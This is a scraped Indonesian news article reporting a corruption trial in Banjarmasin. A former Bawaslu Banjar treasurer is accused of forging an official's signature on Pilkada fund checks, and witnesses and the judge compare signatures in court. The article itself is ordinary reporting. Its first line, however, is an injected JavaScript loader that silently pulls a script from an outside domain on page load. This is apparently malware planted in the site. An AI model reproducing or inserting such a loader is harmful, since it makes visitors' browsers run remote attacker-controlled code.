(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Korupsi Eks Bendahara Bawaslu Banjar, Hakim Sandingkan Tanda Tangan PPK


KANALKALIMANTAN.COM, BANJARMASIN – Sidang lanjutan perkara kasus Tindak Pidana Korupsi dana Pilkada oleh eks Bendahara Bawaslu Kabupaten Banjar kembaki digelar pada Rabu (28/9/2022) di Pengadilan Tipikor Banjarmasin.

Pada sidang kali ini Jaksa Penuntut Umum (JPU) dari Kejaksaan Kabupaten Banjar menghadirkan tiga saksi yaitu dua orang dari unsur Bawaslu dan satu saksi dari Bank Kalsel.

Ketiga saksi yang dihadirkan tersebut yaitu Rahmat Hidayat PNS di Bawaslu Provinsi Kalsel, Idham Chalid Kepala Sekretariat Bawaslu Kabupaten Banjar, dan Meindah Handayani, Pegawai Kasi Pelayanan Nasabah Bank Kalsel Cabang Martapura.

Dalam keteranganya, saksi Idham Chalid menyampaikan mengenai tahapan Pilkada Kabupaten Banjar 2020 dan terkait penggunaan anggaran Bawaslu Banjar.

 

Baca juga : Wali Kota Ibnu Sina Beber Capaian di Peringatan Hari Jadi 496 Kota Banjarmasin

Idham mengatakan, karena adanya Sengketa Pilkada di Mahkamah Konstitusi, yang harusnya tahapan berakhir pada Desember 2020 maka harus berlanjut ke tahun 2021. Karenanya, Bawaslu kembali menganggarkan dana untuk tahap lanjutan.

“Kita mendapat surat dari Bawaslu RI untuk melakukan perpanjangan Panwas Kecamatan dan Gakumdu, dana sisa penggunaan anggaran 2020 dipakai untuk 2021 sebesar Rp 3,1 miliar,” katanya.

Dirinya juga mengatakan setelah perpanjangan tahapan pilkada dana di Bawaslu Kabupaten Banjar masih tersisa Rp 1,2 miliar dan itu yang disalahgunakan oleh terdakwa Saupiah.

“Sudah selesai tahap perpanjangan dana Rp 1,2 miliar, harusnya dikembalikan ke pemerintah daerah, faktanya yang tersisa di rekening hanya seratus dua juta sekian,” kata Idham di hadapan Majelis Hakim.

 

Terdakwa Saupiah yang mengikuti persidangan secara daring melalui Lapas Martapura
Foto: rizki

Baca juga  : Sita 6,85 Gram Sabu dari Bandar, BNN HSU Selidiki Jejak Transfer Uang ke Pemasok

Sementara itu saksi Rahmat Hidayat mengatakan dirinya ditunjuk sebagai Pejabat Pembuat Komitmen (PPK) pas Bawaslu Kabupaten Banjar saat Pilkada 2020. Dirinya mengatakan setiap pencairan dana di Bank maka yang harus bertanda tangan adalah PPK dan Bendahara Pengeluaran Bawaslu.

Rahmat mengatakan dirinya selama pada tahun 2021 saat proses perpanjangan tahapan pemilu tidak pernah merasa menandatangani cek yang dicairkan terdakwa Supiah. Kecuali perjalanan Dinas saat sidang Sengeketa di Mahkamah Konstitusi.

“Di situ memang ada beberapa cek yang saya tidak tanda tangani, hanya satu yang saya ketahui saat perjalanan dinas sidang di MK,” katanya.

Saksi Rahmat Hidayat juga mengatakan saat menyadari kejanggalan tersebut, dirinya langsung menghubungi terdakwa Saupiah dan langsung mengakui perbuatannya.

Baca juga : SAH. PTAM Intan Banjar Kembalikan Tarif Beban Seperti Dulu

“Saat saya hubungi terdakwa dia mengakui menarik uang itu dan memalsukan tanda tangannya,” katanya.

Sebelumnya diketahui terdakwa Saupiah berdasarkan hasil penyidikan didapati memalsukan tanda tangan PPK sebanyak 23 kali dari 24 cek pencairan dana Pilkada Bawaslu Kabupaten Banjar.

Majelis Hakim pada sidang tersebut juga menyuruh saksi Rahmat Hidayat untuk bertanda tangan di sebuah kertas dan dicocokan dengan bukti cek yang digunakan terdakwa. Setelah dicocokan pihak Bank Kalsel cabang Martapura membenarkan adanya perbedaan antara tanda tangan di cek dengan tanda tangan asli PPK Rahmat Hidayat.

Sidang yang dipimpin oleh Ketua Majelis Hakim Jamser Simanjuntak bersama dua anggota tersebut berlangsung selama dua jam dan berkahir pada pukul 13:00 WITA.

Baca juga  : Jalan Longsor Km 171 Tanbu Ditutup, Ini Jalur Alternatif Banjarmasin-Batulicin

Jaksa Penuntut Umum (JPU) Setyo Wahyu Trinaryanto dan dua orang Penasehat Hukum Terdakwa juga berhadir secara langsung pada persidangan tersebut. Sementara itu terdakwa mengikuti persidangan secara daring dari Lapas Martapura.

Sidang akan kembali digelar pada Rabu (5/10/2022) dengan agenda masih pemeriksaan saksi-saksi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

13 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

20 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

24 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.